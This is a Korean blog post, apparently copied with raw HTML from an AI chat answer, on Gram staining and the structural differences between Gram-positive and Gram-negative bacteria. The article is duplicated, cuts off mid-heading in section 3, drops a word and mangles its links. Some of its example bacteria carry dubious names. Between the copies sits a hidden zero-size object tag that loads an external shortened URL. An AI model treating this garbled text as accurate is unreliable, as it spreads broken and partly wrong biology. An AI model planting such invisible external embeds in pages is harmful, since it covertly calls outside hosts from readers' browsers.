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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:41">그람 양성균 vs 그람 음성균: 세균 세상을 나누는 염색 비법大公開!</h2><p data-sourcepos="3:1-3:199">세균은 우리 주변에 무수히 존재하며, 일부는 을 유발하기도 하지만, 우리 삶에 필수적인 역할을 하는 경우도 많습니다. 과연 이 작은 생명체들을 어떻게 구분할 수 있을까요? 오늘은 <strong>세균을 두 개의 그룹으로 나누는 중요한 기준</strong>인 <strong>그람 염색법</strong>과 <strong>그람 양성균</strong>, <strong>그람 음성균</strong>의 <strong>세세한 차이점</strong>을 <strong>풀어 뜯어</strong> 살펴보겠습니다!</p><p data-sourcepos="5:1-5:37"><strong>1. 그람 염색법이란? 세균의 비밀을 파헤치는 마법의 염색!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e6ebcd91f6442dd3&quot;,&quot;c_04d126fb6a0e7973&quot;,null,&quot;rc_b6e7ac897d000f6d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://en.wikipedia.org/wiki/Gram_stain"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="Gram stain bacteria ON Wikipedia en.wikipedia.org " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQUzHf3JbQeOMx6fJ7FQ1Nfrj_g3PBulYrSAz9k_p_SS7wo25tcS9wwnbhJKTyl"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://en.wikipedia.org/wiki/Gram_stain" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e6ebcd91f6442dd3&quot;,&quot;c_04d126fb6a0e7973&quot;,null,&quot;rc_b6e7ac897d000f6d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTGo2ldWXblVJVy9av_nsZSibxa_2qWNauc-_aN3Z88QWRlrBwOirgky4S2BQx4HAP717l1X6fwOGXal25Xka-QwL048XUpux7h5g"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">en.wikipedia.org</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Gram stain bacteria ON Wikipedia en.wikipedia.org </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="9:1-9:177">그람 염색법은 <strong>크리스탈 바이올렛</strong>, <strong>알코올</strong>, <strong>사프란인</strong>이라는 세 가지 용액을 사용하여 <strong>세균의 세포벽 구조를 확인하는</strong> 염색 기법입니다. 마치 <strong>탐정이 범인을 색으로 추적하는 것처럼</strong> 그람 염색법은 <strong>세균의 세포벽 구성 성분</strong>에 따라 <strong>보라색</strong>과 <strong>분홍색</strong>으로 염색하여 구분합니다.</p><p data-sourcepos="11:1-11:40"><strong>2. 그람 양성균 vs 그람 음성균: 두 가지 세균의 핵심 차이점</strong></p><p data-sourcepos="13:1-13:74"><strong>세포벽</strong>은 세균을 외부 환경으로부터 보호하는 <strong>방패 역할</strong>을 하며, 그 구조에 따라 그람 양성균과 그람 음성균으로 나뉩니다.</p><p data-sourcepos="15:1-15:41"><strong>2.1 그람 양성균: 두꺼운 펩티도글리칸 갑옷을 입은 용감한 기사!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e6ebcd91f6442dd3&quot;,&quot;c_04d126fb6a0e7973&quot;,null,&quot;rc_b6e7ac897d000f6d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://en.wikipedia.org/wiki/Bacterial_outer_membrane"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="Gram positive bacteria structure ON Wikipedia en.wikipedia.org " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR0XVZVKxmqXwxzJw9M2wuHrdXvCGU5jwemtmlkZeax3KofvpQ1lJQXS0awn1u-"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://en.wikipedia.org/wiki/Bacterial_outer_membrane" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e6ebcd91f6442dd3&quot;,&quot;c_04d126fb6a0e7973&quot;,null,&quot;rc_b6e7ac897d000f6d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTGo2ldWXblVJVy9av_nsZSibxa_2qWNauc-_aN3Z88QWRlrBwOirgky4S2BQx4HAP717l1X6fwOGXal25Xka-QwL048XUpux7h5g"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">en.wikipedia.org</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Gram positive bacteria structure ON Wikipedia en.wikipedia.org </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="19:1-22:0">
<li data-sourcepos="19:1-19:129"><strong>두꺼운 펩티도글리칸 층</strong>: 그람 양성균은 <strong>여러 층</strong>으로 이루어진 <strong>두꺼운 펩티도글리칸 층</strong>으로 이루어진 세포벽을 가지고 있습니다. 펩티도글리칸은 <strong>세포벽에 힘과 단단함</strong>을 제공하는 <strong>주요 구성 성분</strong>입니다.</li>
<li data-sourcepos="20:1-20:162"><strong>크리스탈 바이올렛 옷을 꼭 껴입고 물리적 공격에도 끄떡없어!</strong>: 그람 염색 과정에서 <strong>크리스탈 바이올렛 염료</strong>가 펩티도글리칸 층에 침투하고 <strong>알코올 탈색에도 탈색되지 않고 보라색</strong>으로 유지됩니다. 마치 <strong>두꺼운 갑옷을 입고 적의 공격을 막아내는 용감한 기사</strong>와 같습니다.</li>
<li data-sourcepos="21:1-22:0"><strong>대표적인 그람 양성균</strong>: 포도상구균, 연쇄상구균, 황색포도상구균, 폐렴균, 리스테리아균 등이 있습니다.</li>
</ul><p data-sourcepos="23:1-23:44"><strong>2.2 그람 음성균: 외막이라는 추가 방어막으로 둘러싸인 교활한 마법사!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e6ebcd91f6442dd3&quot;,&quot;c_04d126fb6a0e7973&quot;,null,&quot;rc_b6e7ac897d000f6d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://en.m.wikipedia.org/wiki/File:Gram-Cell-wall.svg"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="Gram negative bacteria structure ON Wikipedia en.wikipedia.org " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTQZi5I52Jr487tPI8oLh4AZkTzBPHkrze2h8Zn6x5zoLkQaKQ9R0XdTfS_l-lZ"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://en.m.wikipedia.org/wiki/File:Gram-Cell-wall.svg" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e6ebcd91f6442dd3&quot;,&quot;c_04d126fb6a0e7973&quot;,null,&quot;rc_b6e7ac897d000f6d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRpbYPn4WJFVFQGJrIejHnlYehSYyTXdvPuEgD0mrIq7TI2ggSWmyKQzIgXbKdshoHWUvJF4V5W5eWxPUQ-vWA3U7bBm8eWGZc52goT"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">en.m.wikipedia.org</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Gram negative bacteria structure ON Wikipedia en.wikipedia.org </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:157"><strong>얇은 펩티도글리칸 층 + 외막</strong>: 그람 음성균은 <strong>한 층</strong>의 <strong>얇은 펩티도글리칸 층</strong> 외에 **리포폴리사카라이드(LPS)**로 구성된 <strong>외막</strong>이라는 <strong>추가적인 방어막</strong>을 가지고 있습니다. LPS는 <strong>세균에 독성과 병원성을 부여</strong>하는 중요한 역할을 합니다.</li>
<li data-sourcepos="28:1-28:143"><strong>크리스탈 바이올렛 옷을 벗고 분홍색 옷으로 갈아입어 위장</strong>: 그람 염색 과정에서 크리스탈 바이올렛 염료가 탈색되고 <strong>사프란인 염료</strong>로 <strong>분홍색</strong>으로 염색됩니다. 마치 <strong>외막이라는 위장술을 사용하여 적을 속이는 교활한 마법사</strong>와 같습니다.</li>
<li data-sourcepos="29:1-30:0"><strong>대표적인 그람 음성균</strong>: 대장균, 살모넬라균, 위장균, 이질균, 메닝구스균 등이 있습니다.</li>
</ul><p data-sourcepos="31:1-31:27">**3. 그람 염색법의 중요성: 세균을 이해하고</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:41">그람 양성균 vs 그람 음성균: 세균 세상을 나누는 염색 비법大公開!</h2><p data-sourcepos="3:1-3:199">세균은 우리 주변에 무수히 존재하며, 일부는 을 유발하기도 하지만, 우리 삶에 필수적인 역할을 하는 경우도 많습니다. 과연 이 작은 생명체들을 어떻게 구분할 수 있을까요? 오늘은 <strong>세균을 두 개의 그룹으로 나누는 중요한 기준</strong>인 <strong>그람 염색법</strong>과 <strong>그람 양성균</strong>, <strong>그람 음성균</strong>의 <strong>세세한 차이점</strong>을 <strong>풀어 뜯어</strong> 살펴보겠습니다!</p><p data-sourcepos="5:1-5:37"><strong>1. 그람 염색법이란? 세균의 비밀을 파헤치는 마법의 염색!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e6ebcd91f6442dd3","c_04d126fb6a0e7973",null,"rc_b6e7ac897d000f6d",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://en.wikipedia.org/wiki/Gram_stain"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="Gram stain bacteria ON Wikipedia en.wikipedia.org " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQUzHf3JbQeOMx6fJ7FQ1Nfrj_g3PBulYrSAz9k_p_SS7wo25tcS9wwnbhJKTyl"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://en.wikipedia.org/wiki/Gram_stain" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e6ebcd91f6442dd3","c_04d126fb6a0e7973",null,"rc_b6e7ac897d000f6d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTGo2ldWXblVJVy9av_nsZSibxa_2qWNauc-_aN3Z88QWRlrBwOirgky4S2BQx4HAP717l1X6fwOGXal25Xka-QwL048XUpux7h5g"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">en.wikipedia.org</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Gram stain bacteria ON Wikipedia en.wikipedia.org </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="9:1-9:177">그람 염색법은 <strong>크리스탈 바이올렛</strong>, <strong>알코올</strong>, <strong>사프란인</strong>이라는 세 가지 용액을 사용하여 <strong>세균의 세포벽 구조를 확인하는</strong> 염색 기법입니다. 마치 <strong>탐정이 범인을 색으로 추적하는 것처럼</strong> 그람 염색법은 <strong>세균의 세포벽 구성 성분</strong>에 따라 <strong>보라색</strong>과 <strong>분홍색</strong>으로 염색하여 구분합니다.</p><p data-sourcepos="11:1-11:40"><strong>2. 그람 양성균 vs 그람 음성균: 두 가지 세균의 핵심 차이점</strong></p><p data-sourcepos="13:1-13:74"><strong>세포벽</strong>은 세균을 외부 환경으로부터 보호하는 <strong>방패 역할</strong>을 하며, 그 구조에 따라 그람 양성균과 그람 음성균으로 나뉩니다.</p><p data-sourcepos="15:1-15:41"><strong>2.1 그람 양성균: 두꺼운 펩티도글리칸 갑옷을 입은 용감한 기사!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e6ebcd91f6442dd3","c_04d126fb6a0e7973",null,"rc_b6e7ac897d000f6d",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://en.wikipedia.org/wiki/Bacterial_outer_membrane"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="Gram positive bacteria structure ON Wikipedia en.wikipedia.org " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR0XVZVKxmqXwxzJw9M2wuHrdXvCGU5jwemtmlkZeax3KofvpQ1lJQXS0awn1u-"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://en.wikipedia.org/wiki/Bacterial_outer_membrane" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e6ebcd91f6442dd3","c_04d126fb6a0e7973",null,"rc_b6e7ac897d000f6d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTGo2ldWXblVJVy9av_nsZSibxa_2qWNauc-_aN3Z88QWRlrBwOirgky4S2BQx4HAP717l1X6fwOGXal25Xka-QwL048XUpux7h5g"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">en.wikipedia.org</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Gram positive bacteria structure ON Wikipedia en.wikipedia.org </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="19:1-22:0">
<li data-sourcepos="19:1-19:129"><strong>두꺼운 펩티도글리칸 층</strong>: 그람 양성균은 <strong>여러 층</strong>으로 이루어진 <strong>두꺼운 펩티도글리칸 층</strong>으로 이루어진 세포벽을 가지고 있습니다. 펩티도글리칸은 <strong>세포벽에 힘과 단단함</strong>을 제공하는 <strong>주요 구성 성분</strong>입니다.</li>
<li data-sourcepos="20:1-20:162"><strong>크리스탈 바이올렛 옷을 꼭 껴입고 물리적 공격에도 끄떡없어!</strong>: 그람 염색 과정에서 <strong>크리스탈 바이올렛 염료</strong>가 펩티도글리칸 층에 침투하고 <strong>알코올 탈색에도 탈색되지 않고 보라색</strong>으로 유지됩니다. 마치 <strong>두꺼운 갑옷을 입고 적의 공격을 막아내는 용감한 기사</strong>와 같습니다.</li>
<li data-sourcepos="21:1-22:0"><strong>대표적인 그람 양성균</strong>: 포도상구균, 연쇄상구균, 황색포도상구균, 폐렴균, 리스테리아균 등이 있습니다.</li>
</ul><p data-sourcepos="23:1-23:44"><strong>2.2 그람 음성균: 외막이라는 추가 방어막으로 둘러싸인 교활한 마법사!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e6ebcd91f6442dd3","c_04d126fb6a0e7973",null,"rc_b6e7ac897d000f6d",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://en.m.wikipedia.org/wiki/File:Gram-Cell-wall.svg"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="Gram negative bacteria structure ON Wikipedia en.wikipedia.org " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTQZi5I52Jr487tPI8oLh4AZkTzBPHkrze2h8Zn6x5zoLkQaKQ9R0XdTfS_l-lZ"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://en.m.wikipedia.org/wiki/File:Gram-Cell-wall.svg" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e6ebcd91f6442dd3","c_04d126fb6a0e7973",null,"rc_b6e7ac897d000f6d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRpbYPn4WJFVFQGJrIejHnlYehSYyTXdvPuEgD0mrIq7TI2ggSWmyKQzIgXbKdshoHWUvJF4V5W5eWxPUQ-vWA3U7bBm8eWGZc52goT"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">en.m.wikipedia.org</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Gram negative bacteria structure ON Wikipedia en.wikipedia.org </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:157"><strong>얇은 펩티도글리칸 층 + 외막</strong>: 그람 음성균은 <strong>한 층</strong>의 <strong>얇은 펩티도글리칸 층</strong> 외에 **리포폴리사카라이드(LPS)**로 구성된 <strong>외막</strong>이라는 <strong>추가적인 방어막</strong>을 가지고 있습니다. LPS는 <strong>세균에 독성과 병원성을 부여</strong>하는 중요한 역할을 합니다.</li>
<li data-sourcepos="28:1-28:143"><strong>크리스탈 바이올렛 옷을 벗고 분홍색 옷으로 갈아입어 위장</strong>: 그람 염색 과정에서 크리스탈 바이올렛 염료가 탈색되고 <strong>사프란인 염료</strong>로 <strong>분홍색</strong>으로 염색됩니다. 마치 <strong>외막이라는 위장술을 사용하여 적을 속이는 교활한 마법사</strong>와 같습니다.</li>
<li data-sourcepos="29:1-30:0"><strong>대표적인 그람 음성균</strong>: 대장균, 살모넬라균, 위장균, 이질균, 메닝구스균 등이 있습니다.</li>
</ul><p data-sourcepos="31:1-31:27">**3. 그람 염색법의 중요성: 세균을 이해하고</p></div>
</div></div>
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그람양성균, 그람음성균 차이 (염색법)
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